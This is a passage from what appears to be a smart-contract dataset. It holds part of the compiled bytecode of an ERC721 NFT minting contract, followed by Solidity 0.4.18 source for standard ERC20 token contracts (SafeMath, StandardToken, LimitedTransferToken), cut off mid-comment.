92919050505061181f565b6040518082815260200191505060405180910390f35b34801561094657600080fd5b5061094f6118f4565b005b34801561095d57600080fd5b50610966611a64565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561099e57600080fd5b506109a7611a8e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109e75780820151818401526020810190506109cc565b50505050905090810190601f168015610a145780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a4e60048036036020811015610a3857600080fd5b8101908080359060200190929190505050611b30565b005b348015610a5c57600080fd5b50610aab60048036036040811015610a7357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611dc6565b005b348015610ab957600080fd5b50610ac2611f7c565b6040518082815260200191505060405180910390f35b348015610ae457600080fd5b50610be860048036036080811015610afb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610b6257600080fd5b820183602082011115610b7457600080fd5b80359060200191846001830284011164010000000083111715610b9657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611f82565b005b348015610bf657600080fd5b50610bff611ffa565b60405180821515815260200191505060405180910390f35b348015610c2357600080fd5b50610c5060048036036020811015610c3a57600080fd5b810190808035906020019092919050505061200d565b005b348015610c5e57600080fd5b50610c8b60048036036020811015610c7557600080fd5b81019080803590602001909291905050506120c6565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610ccb578082015181840152602081019050610cb0565b50505050905090810190601f168015610cf85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610d0e612397565b005b348015610d1c57600080fd5b50610d25612448565b005b348015610d3357600080fd5b50610d9660048036036040811015610d4a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061252d565b60405180821515815260200191505060405180910390f35b348015610dba57600080fd5b50610dc36125c1565b60405180821515815260200191505060405180910390f35b348015610de757600080fd5b50610e2a60048036036020811015610dfe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125d4565b005b610e5860048036036020811015610e4257600080fd5b81019080803590602001909291905050506127c9565b005b348015610e6657600080fd5b50610f2060048036036020811015610e7d57600080fd5b8101908080359060200190640100000000811115610e9a57600080fd5b820183602082011115610eac57600080fd5b80359060200191846001830284011164010000000083111715610ece57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612b29565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110215780601f10610ff657610100808354040283529160200191611021565b820191906000526020600020905b81548152906001019060200180831161100457829003601f168201915b5050505050905090565b600061103682612bf2565b61108b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614123602c913960400191505060405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006110d1826116a8565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611158576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806141a76021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16611177612c0f565b73ffffffffffffffffffffffffffffffffffffffff1614806111a657506111a5816111a0612c0f565b61252d565b5b6111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806140766038913960400191505060405180910390fd5b6112058383612c17565b505050565b600f60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123c6002612cd0565b905090565b61125261124c612c0f565b82612ce5565b6112a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806141c86031913960400191505060405180910390fd5b6112b2838383612dd9565b505050565b6112bf612c0f565b73ffffffffffffffffffffffffffffffffffffffff166112dd611a64565b73ffffffffffffffffffffffffffffffffffffffff1614611366576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600d8190555050565b60006113c382600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061301c90919063ffffffff16565b905092915050565b6113d3612c0f565b73ffffffffffffffffffffffffffffffffffffffff166113f1611a64565b73ffffffffffffffffffffffffffffffffffffffff161461147a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600f60009054906101000a900460ff1615600f60006101000a81548160ff021916908315150217905550565b6114ae612c0f565b73ffffffffffffffffffffffffffffffffffffffff166114cc611a64565b73ffffffffffffffffffffffffffffffffffffffff1614611555576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60004790503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115a0573d6000803e3d6000fd5b5050565b6115bf83838360405180602001604052806000815250611f82565b505050565b600d5481565b6000806115e183600261303690919063ffffffff16565b50905080915050919050565b6115f5612c0f565b73ffffffffffffffffffffffffffffffffffffffff16611613611a64565b73ffffffffffffffffffffffffffffffffffffffff161461169c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6116a581613062565b50565b60006116d8826040518060600160405280602981526020016140d860299139600261307c9092919063ffffffff16565b9050919050565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117755780601f1061174a57610100808354040283529160200191611775565b820191906000526020600020905b81548152906001019060200180831161175857829003601f168201915b505050505081565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118155780601f106117ea57610100808354040283529160200191611815565b820191906000526020600020905b8154815290600101906020018083116117f857829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806140ae602a913960400191505060405180910390fd5b6118ed600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061309b565b9050919050565b6118fc612c0f565b73ffffffffffffffffffffffffffffffffffffffff1661191a611a64565b73ffffffffffffffffffffffffffffffffffffffff16146119a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b265780601f10611afb57610100808354040283529160200191611b26565b820191906000526020600020905b815481529060010190602001808311611b0957829003601f168201915b5050505050905090565b6002600a541415611ba9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600a81905550600f60019054906101000a900460ff1615611c34576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5075626c69632073616c65206d696e74696e67206e6f7420737461727465640081525060200191505060405180910390fd5b600f60009054906101000a900460ff16611cb6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f53616c65206d7573742062652061637469766520746f206d696e74000000000081525060200191505060405180910390fd5b34600e541115611d2e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45746865722076616c75652073656e74206973206e6f7420636f72726563740081525060200191505060405180910390fd5b600081118015611d3f5750611f4181105b611db1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f546f6b656e20494420696e76616c69640000000000000000000000000000000081525060200191505060405180910390fd5b611dbb33826130b0565b6001600a8190555050565b611dce612c0f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060056000611e7c612c0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611f29612c0f565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405180821515815260200191505060405180910390a35050565b600e5481565b611f93611f8d612c0f565b83612ce5565b611fe8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806141c86031913960400191505060405180910390fd5b611ff4848484846130ce565b50505050565b600f60019054906101000a900460ff1681565b612015612c0f565b73ffffffffffffffffffffffffffffffffffffffff16612033611a64565b73ffffffffffffffffffffffffffffffffffffffff16146120bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600e8190555050565b60606120d182612bf2565b612126576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180614178602f913960400191505060405180910390fd5b6000600860008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121cf5780601f106121a4576101008083540402835291602001916121cf565b820191906000526020600020905b8154815290600101906020018083116121b257829003601f168201915b5050505050905060006121e061177d565b90506000815114156121f6578192505050612392565b6000825111156122c75780826040516020018083805190602001908083835b602083106122385780518252602082019150602081019050602083039250612215565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106122895780518252602082019150602081019050602083039250612266565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405292505050612392565b806122d185613140565b6040516020018083805190602001908083835b6020831061230757805182526020820191506020810190506020830392506122e4565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b602083106123585780518252602082019150602081019050602083039250612335565b6001836020036101000a03801982511681845116808217855250505050505090500192505050604051602081830303815290604052925050505b919050565b61239f612c0f565b73ffffffffffffffffffffffffffffffffffffffff166123bd611a64565b73ffffffffffffffffffffffffffffffffffffffff1614612446576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b565b612450612c0f565b73ffffffffffffffffffffffffffffffffffffffff1661246e611a64565b73ffffffffffffffffffffffffffffffffffffffff16146124f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600f60019054906101000a900460ff1661251057600080fd5b6000600f60016101000a81548160ff021916908315150217905550565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600f60009054906101000a900460ff1681565b6125dc612c0f565b73ffffffffffffffffffffffffffffffffffffffff166125fa611a64565b73ffffffffffffffffffffffffffffffffffffffff1614612683576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612709576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180613fda6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6002600a541415612842576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600a81905550600f60019054906101000a900460ff166128cc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f507269766174652073616c65206d696e74696e67206973206f7665720000000081525060200191505060405180910390fd5b600f60009054906101000a900460ff1661294e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f53616c65206d7573742062652061637469766520746f206d696e74000000000081525060200191505060405180910390fd5b34600d5411156129c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45746865722076616c75652073656e74206973206e6f7420636f72726563740081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015612a5057600080fd5b505afa158015612a64573d6000803e3d6000fd5b505050506040513d6020811015612a7a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614612b14576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e6f7420746865206f776e6572206f662074686973206c6f6f7400000000000081525060200191505060405180910390fd5b612b1e33826130b0565b6001600a8190555050565b612b31612c0f565b73ffffffffffffffffffffffffffffffffffffffff16612b4f611a64565b73ffffffffffffffffffffffffffffffffffffffff1614612bd8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600c9080519060200190612bee929190613eda565b5050565b6000612c0882600261328790919063ffffffff16565b9050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612c8a836116a8565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612cde826000016132a1565b9050919050565b6000612cf082612bf2565b612d45576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061404a602c913960400191505060405180910390fd5b6000612d50836116a8565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612dbf57508373ffffffffffffffffffffffffffffffffffffffff16612da78461102b565b73ffffffffffffffffffffffffffffffffffffffff16145b80612dd05750612dcf818561252d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612df9826116a8565b73ffffffffffffffffffffffffffffffffffffffff1614612e65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061414f6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612eeb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806140006024913960400191505060405180910390fd5b612ef68383836132b2565b612f01600082612c17565b612f5281600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206132b790919063ffffffff16565b50612fa481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206132d190919063ffffffff16565b50612fbb818360026132eb9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600061302b8360000183613320565b60001c905092915050565b60008060008061304986600001866133a3565b915091508160001c8160001c9350935050509250929050565b8060099080519060200190613078929190613eda565b5050565b600061308f846000018460001b8461343c565b60001c90509392505050565b60006130a982600001613532565b9050919050565b6130ca828260405180602001604052806000815250613543565b5050565b6130d9848484612dd9565b6130e5848484846135b4565b61313a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613fa86032913960400191505060405180910390fd5b50505050565b60606000821415613188576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050613282565b600082905060005b600082146131b2578080600101915050600a82816131aa57fe5b049150613190565b60008167ffffffffffffffff811180156131cb57600080fd5b506040519080825280601f01601f1916602001820160405280156131fe5781602001600182028036833780820191505090505b50905060006001830390508593505b6000841461327a57600a848161321f57fe5b0660300160f81b8282806001900393508151811061323957fe5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a848161327257fe5b04935061320d565b819450505050505b919050565b6000613299836000018360001b6137cd565b905092915050565b600081600001805490509050919050565b505050565b60006132c9836000018360001b6137f0565b905092915050565b60006132e3836000018360001b6138d8565b905092915050565b6000613317846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b613948565b90509392505050565b600081836000018054905011613381576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613f866022913960400191505060405180910390fd5b82600001828154811061339057fe5b9060005260206000200154905092915050565b60008082846000018054905011613405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806141016022913960400191505060405180910390fd5b600084600001848154811061341657fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b60008084600101600085815260200190815260200160002054905060008114158390613503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156134c85780820151818401526020810190506134ad565b50505050905090810190601f1680156134f55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061351657fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b61354d8383613a24565b61355a60008484846135b4565b6135af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180613fa86032913960400191505060405180910390fd5b505050565b60006135d58473ffffffffffffffffffffffffffffffffffffffff16613c18565b6135e257600190506137c5565b600061374c63150b7a0260e01b6135f7612c0f565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561367b578082015181840152602081019050613660565b50505050905090810190601f1680156136a85780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001613fa8603291398773ffffffffffffffffffffffffffffffffffffffff16613c2b9092919063ffffffff16565b9050600081806020019051602081101561376557600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146138cc576000600182039050600060018660000180549050039050600086600001828154811061383b57fe5b906000526020600020015490508087600001848154811061385857fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061389057fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506138d2565b60009150505b92915050565b60006138e48383613c43565b61393d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050613942565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156139ef57846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050613a1d565b82856000016001830381548110613a0257fe5b90600052602060002090600202016001018190555060009150505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613ac7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b613ad081612bf2565b15613b43576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b613b4f600083836132b2565b613ba081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206132d190919063ffffffff16565b50613bb7818360026132eb9092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6060613c3a8484600085613c66565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b606082471015613cc1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806140246026913960400191505060405180910390fd5b613cca85613c18565b613d3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310613d8b5780518252602082019150602081019050602083039250613d68565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114613ded576040519150601f19603f3d011682016040523d82523d6000602084013e613df2565b606091505b5091509150613e02828286613e0e565b92505050949350505050565b60608315613e1e57829050613ed3565b600083511115613e315782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613e98578082015181840152602081019050613e7d565b50505050905090810190601f168015613ec55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282613f105760008555613f57565b82601f10613f2957805160ff1916838001178555613f57565b82800160010185558215613f57579182015b82811115613f56578251825591602001919060010190613f3b565b5b509050613f649190613f68565b5090565b5b80821115613f81576000816000905550600101613f69565b509056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a2646970667358221220f193d75a7bb7474bae9a26c25c10e1cd3bc64ffbadcfc0beea562f3a431bd19564736f6c63430007060033
[ 5 ]
0xf22d6e814e5b0d95ff2f30433a8da43d9151bdb8
pragma solidity ^0.4.18; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) public view returns (uint); function transfer(address to, uint value) public returns (bool); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint); function transferFrom(address from, address to, uint value) public returns (bool); function approve(address spender, uint value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) returns (bool) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public view returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title LimitedTransferToken * @dev LimitedTransferToken defines the generic interface and the implementation to limit token * transferability for different events. It is intended to be used as a base class for other token * contracts. * LimitedTransferToken has been designed to allow for different limiting factors, * this can be achieved by recursively calling super.transferableTokens() until the base class is * hit. For example: * function transferableTokens(address holder, uint time, uint number) constant public returns (uint256) { * return min256(unlockedTokens, super.transferableTokens(holder, time, number)); * } * A working example is VestedToken.sol: * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/VestedToken.sol */ contract LimitedTransferToken is ERC20 { /** * @dev Checks whether it can transfer or otherwise throws. */ modifier canTransfer(address _sender, uint _value) { if (_value > transferableTokens(_sender, now, block.number)) revert(); _; } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _to The address that will recieve the tokens. * @param _value The amount of tokens to be transferred. */ function transfer(address _to, uint _value) public canTransfer(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } /** * @dev Checks modifier and allows transfer if tokens are not locked. * @param _from The address that will send the tokens. * @param _to The address that will recieve the tokens. * @param _value The amount of tokens to be transferred. */ function transferFrom(address _from, address _to, uint _value) public canTransfer(_from, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Default transferable tokens function returns all tokens for a holder (no limit). * @dev Overwriting 